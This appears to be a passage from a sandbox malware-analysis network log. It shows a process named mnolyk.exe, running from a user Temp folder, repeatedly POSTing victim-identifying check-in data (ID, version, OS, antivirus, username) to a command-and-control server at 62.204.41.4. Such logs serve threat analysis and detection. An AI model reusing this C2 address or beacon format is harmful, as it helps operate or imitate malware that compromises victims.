Feb 7, 2023 23:08:55.888909101 CET	538	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
424	192.168.2.7	50119	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:56.055732012 CET	539	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:56.118506908 CET	539	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
425	192.168.2.7	50120	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:56.307441950 CET	540	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:56.370866060 CET	540	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
426	192.168.2.7	50121	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:56.541604042 CET	541	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:56.608396053 CET	541	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
427	192.168.2.7	50122	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:56.823302031 CET	542	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:56.890953064 CET	542	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
428	192.168.2.7	50123	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:57.096759081 CET	543	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:57.161602974 CET	543	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
429	192.168.2.7	50124	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:57.344638109 CET	544	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:57.409598112 CET	544	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.7	49737	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:12.033255100 CET	147	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:12.100027084 CET	147	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
430	192.168.2.7	50125	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:57.600770950 CET	545	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:57.666326046 CET	545	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
431	192.168.2.7	50126	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:57.855566978 CET	546	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:57.920010090 CET	546	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
432	192.168.2.7	50127	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:58.089433908 CET	547	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:58.156618118 CET	547	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
433	192.168.2.7	50128	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:58.335870028 CET	548	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:58.398947954 CET	548	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
434	192.168.2.7	50129	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:58.570310116 CET	549	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:58.633084059 CET	549	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
435	192.168.2.7	50130	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:58.812896967 CET	550	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:58.875322104 CET	550	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
436	192.168.2.7	50131	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:59.066086054 CET	551	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:59.130352020 CET	551	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
437	192.168.2.7	50132	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:59.313659906 CET	552	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:59.378097057 CET	552	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
438	192.168.2.7	50133	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:59.557976961 CET	553	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:59.622168064 CET	553	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
439	192.168.2.7	50134	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:59.789777040 CET	554	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:59.854084015 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.7	49738	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:12.270874977 CET	148	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:12.334152937 CET	148	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
440	192.168.2.7	50135	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:00.033380032 CET	555	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:00.097311020 CET	555	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
441	192.168.2.7	50136	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:00.282670021 CET	556	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:00.346760988 CET	556	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
442	192.168.2.7	50137	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:00.524988890 CET	557	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:00.587641001 CET	557	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
443	192.168.2.7	50138	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
